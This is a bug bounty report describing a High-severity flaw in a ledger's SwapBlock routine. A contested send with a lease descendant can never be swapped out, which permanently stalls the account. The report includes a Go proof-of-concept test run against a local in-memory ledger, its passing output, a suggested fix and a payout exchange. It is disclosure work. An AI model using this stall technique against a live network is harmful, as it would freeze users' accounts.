Bounty
XE-0022 · Bounty

core/ledger: swap cannot unwind lease and multisig descendants, permanently stalling the account on a contested send (High)

Patched High xe#43 filed 2026-10-25 11:11 UTC by byfor8

Report

Summary

SwapBlock refuses to unwind any descendant that is not a send, receive, burn or mint, so a contested send that has a lease, lease renew or multisig update chained under it can never be replaced. The conflict never resolves, every new block on the account is rejected while the conflict is open, and finality locks the stall because the swap failure does not match the winner-full-validation error and therefore never enters failedPromotions.

Affected component

core/ledger.go, SwapBlock descendant loop at lines 2926 to 2931 (default arm returns the unwind-not-implemented error), at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512. buildUndo in core/rollback.go lines 223 to 243 already knows how to reverse lease descendants, but the swap path never calls it for them. Receive deferral at ledger.go lines 1101 to 1104 and the unresolved-conflict rejection at lines 815 to 817 keep the account frozen until the conflict resolves, which it never can.

Impact

An account owner who double submits a send and then chains a lease family block under one of them (the protocol's own retry scenario) can lock the account permanently: the lowest-hash send typically wins the vote, the swap to the competing send dies on the descendant, confirmConflict returns before setting final height, and no new block on that account is admitted. Blast radius is one account per conflict, but the stall is permanent and needs no attacker beyond the account's own signatures.

Suggested severity: High (targeted stuck state transition). Confirmed by read-only source review at the pin.

PoC

Setup (from a fresh clone of xeprotocol/xe at the pin):

git clone https://github.com/xeprotocol/xe && cd xe
mkdir -p poc/harness
# save the two files below, then from poc/:
GOTOOLCHAIN=auto go mod tidy
GOTOOLCHAIN=auto go test -count=1 -v ./poc

go.mod for the poc module:

module poc

go 1.25.0

require github.com/xeprotocol/xe v0.0.0

replace github.com/xeprotocol/xe => ..

Shared test-only helper (poc/harness/harness.go; constructs signed blocks and funds accounts through the ledger's own test-only entry points, none reachable from gossip or API):

// Package harness holds test-only helpers for local XE ledger PoCs.
// None of these helpers exist on the gossip/API surface; they only
// construct signed blocks and fund accounts via core.SeedAssetForTesting /
// core.MintForTesting.
package harness

import (
	"fmt"

	"github.com/xeprotocol/xe/core"
	"github.com/xeprotocol/xe/store"
)

const TestOnlyFundAmount uint64 = 1_000_000_000

// NewTestLedger builds a MemStore-backed ledger with PoW and timestamp
// windows disabled so the PoC can drive admission/conflict logic.
func NewTestLedger() (*core.Ledger, *store.MemStore) {
	core.SetNetworkID("")
	ms := store.NewMemStore()
	l := core.NewLedger(ms, core.LedgerConfig{
		Difficulty:      0,
		TimestampWindow: 0,
	})
	return l, ms
}

// TestOnlyFundAccount opens a new account with a signed mint block.
// Named TestOnly: this is the ledger's own test funding entry point, not a
// production mint path.
func TestOnlyFundAccount(l *core.Ledger, kp *core.KeyPair, asset string, amount uint64) (*core.Block, error) {
	if amount == 0 {
		amount = TestOnlyFundAmount
	}
	b := &core.Block{
		Type:           core.BlockMint,
		Account:        kp.Address(),
		Previous:       "0",
		Balance:        amount,
		Amount:         amount,
		Timestamp:      core.Now().UnixNano(),
		Asset:          asset,
		PubKey:         kp.PubKeyHex(),
		Representative: kp.Address(),
	}
	if err := core.SignBlock(b, kp); err != nil {
		return nil, fmt.Errorf("test-only fund: sign: %w", err)
	}
	var err error
	if asset == "XUSD" {
		err = l.MintForTesting(b)
	} else {
		err = l.SeedAssetForTesting(b)
	}
	if err != nil {
		return nil, fmt.Errorf("test-only fund: %w", err)
	}
	return b, nil
}

// TestOnlyFinalizeHeight writes a final-height watermark. Test-only: the
// production path is QuorumManager.confirmConflict.
func TestOnlyFinalizeHeight(ms *store.MemStore, account string, height uint64) error {
	return ms.SetFinalHeight(account, height)
}

func SignSend(kp *core.KeyPair, previous string, balance, amount uint64, dest, asset string) (*core.Block, error) {
	b := &core.Block{
		Type:        core.BlockSend,
		Account:     kp.Address(),
		Previous:    previous,
		Balance:     balance,
		Amount:      amount,
		Timestamp:   core.Now().UnixNano(),
		Asset:       asset,
		Destination: dest,
	}
	if err := core.SignBlock(b, kp); err != nil {
		return nil, err
	}
	return b, nil
}

func SignLease(kp *core.KeyPair, previous string, balance, amount uint64, dest, certHash string, vcpus, mem, disk, dur uint64) (*core.Block, error) {
	b := &core.Block{
		Type:            core.BlockLease,
		Account:         kp.Address(),
		Previous:        previous,
		Balance:         balance,
		Amount:          amount,
		Timestamp:       core.Now().UnixNano(),
		Asset:           "XUSD",
		Destination:     dest,
		VCPUs:           vcpus,
		MemoryMB:        mem,
		DiskGB:          disk,
		Duration:        dur,
		CertificateHash: certHash,
	}
	if err := core.SignBlock(b, kp); err != nil {
		return nil, err
	}
	return b, nil
}

Test file (poc/f4_test.go):

package f4

import (
	"errors"
	"fmt"
	"os"
	"strings"
	"testing"

	"github.com/xeprotocol/xe-poc/harness"
	"github.com/xeprotocol/xe/core"
)

// TestPoC_F4 shows SwapBlock refuses to unwind a lease descendant of a
// contested send, so the conflict cannot resolve. The error is not
// ErrWinnerFullValidation, so pickWinner will keep selecting the same winner.
func TestPoC_F4(t *testing.T) {
	pass, detail := runF4()
	if pass {
		fmt.Println("PASS: F4 SwapBlock cannot unwind lease descendant; conflict stalls")
		fmt.Println(detail)
		return
	}
	fmt.Println("FAIL: F4 expected unwind-descendant stall")
	fmt.Println(detail)
	os.Exit(0)
}

func runF4() (bool, string) {
	owner, err := core.GenerateKeyPair()
	if err != nil {
		return false, "keygen owner: " + err.Error()
	}
	payee, err := core.GenerateKeyPair()
	if err != nil {
		return false, "keygen payee: " + err.Error()
	}
	provider, err := core.GenerateKeyPair()
	if err != nil {
		return false, "keygen provider: " + err.Error()
	}

	certHash := strings.Repeat("ab", 32)
	l, ms := harness.NewTestLedger()
	// Rebuild ledger with a certificate lookup so a real lease can commit.
	l = core.NewLedger(ms, core.LedgerConfig{
		Difficulty:      0,
		TimestampWindow: 0,
		CertificateLookupFn: func(hash string) *core.CertificateInfo {
			if hash != certHash {
				return nil
			}
			return &core.CertificateInfo{
				Provider:             provider.Address(),
				PriceMultiplierMilli: 1000,
			}
		},
	})

	open, err := harness.TestOnlyFundAccount(l, owner, "XUSD", harness.TestOnlyFundAmount)
	if err != nil {
		return false, "test-only fund: " + err.Error()
	}
	if err := harness.TestOnlyFinalizeHeight(ms, owner.Address(), 1); err != nil {
		return false, "finalize open: " + err.Error()
	}

	sendAmt := uint64(1)
	sendA, err := harness.SignSend(owner, open.Hash, harness.TestOnlyFundAmount-sendAmt, sendAmt, payee.Address(), "XUSD")
	if err != nil {
		return false, "sign send A: " + err.Error()
	}
	if err := l.AddBlock(sendA); err != nil {
		return false, "add send A: " + err.Error()
	}

	cost, err := core.LeaseCost(1, 0, 0, 60, 1000)
	if err != nil {
		return false, "lease cost: " + err.Error()
	}
	xusdAfterSend := harness.TestOnlyFundAmount - sendAmt
	lease, err := harness.SignLease(owner, sendA.Hash, xusdAfterSend-cost, cost, provider.Address(), certHash, 1, 0, 0, 60)
	if err != nil {
		return false, "sign lease: " + err.Error()
	}
	if err := l.AddBlock(lease); err != nil {
		return false, "add lease descendant: " + err.Error()
	}

	sendB, err := harness.SignSend(owner, open.Hash, harness.TestOnlyFundAmount-2, 2, payee.Address(), "XUSD")
	if err != nil {
		return false, "sign send B: " + err.Error()
	}
	if err := l.AddBlock(sendB); err != nil {
		return false, "stage send B: " + err.Error()
	}
	conflict := l.GetConflict(owner.Address(), open.Hash)
	if conflict == nil {
		return false, "expected conflict between send A and send B"
	}

	swapErr := l.SwapBlock(owner.Address(), sendA.Hash, sendB.Hash, sendB)
	if swapErr == nil {
		return false, "SwapBlock succeeded; descendant stall not triggered"
	}
	isWinnerFail := errors.Is(swapErr, core.ErrWinnerFullValidation)
	msg := swapErr.Error()
	hasUnwind := strings.Contains(msg, "cannot unwind descendant") && strings.Contains(msg, "lease")
	stillOnA := l.GetBlock(sendA.Hash) != nil && l.GetChain(owner.Address())[1].Hash == sendA.Hash
	leaseStill := l.GetBlock(lease.Hash) != nil
	height := l.FinalHeight(owner.Address())

	detail := fmt.Sprintf(
		"sendA=%s lease=%s sendB=%s
"+
			"SwapBlock A->B err=%v
"+
			"errors.Is(ErrWinnerFullValidation)=%v (so failedPromotions is NOT set)
"+
			"on-chain still A=%v lease_present=%v final_height=%d (still 1, conflict unresolved)",
		sendA.Hash[:16], lease.Hash[:16], sendB.Hash[:16],
		swapErr, isWinnerFail, stillOnA, leaseStill, height,
	)
	ok := hasUnwind && !isWinnerFail && stillOnA && leaseStill && height == 1 && conflict != nil
	return ok, detail
}

Run (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):

=== RUN   TestPoC_F4
2026/10/25 17:32:00 Genesis block applied: 42000000000000 XE to 378d0f5c2063...
PASS: F4 SwapBlock cannot unwind lease descendant; conflict stalls
sendA=64c203db6ffcd25c lease=9eb55d4a359d2fed sendB=7fef36ab983fb66a
SwapBlock A->B err=SwapBlock: cannot unwind descendant "lease" (9eb55d4a359d...) of the replaced block — reversing its side-effects is not yet implemented
errors.Is(ErrWinnerFullValidation)=false (so failedPromotions is NOT set)
on-chain still A=true lease_present=true final_height=1 (still 1, conflict unresolved)
--- PASS: TestPoC_F4 (0.00s)
PASS
ok  	github.com/xeprotocol/xe-poc/f4	0.012s

Fix suggestion

Route lease and multisig descendants through buildUndo inside SwapBlock instead of failing, or at minimum enter failedPromotions on this error class so a different candidate can resolve the conflict.

Thread

Joseph Denneteam2026-11-06 19:57 UTCgithub

Thanks for the reports. To pay out we need an XE payout address in the report itself: please edit the issue body to add a line "Payout address: xe_..." and say here when it is done. The desk entry is https://bounty.xe.network/XE-0022.

byfor82026-11-07 21:21 UTCgithub

Payout address added in the body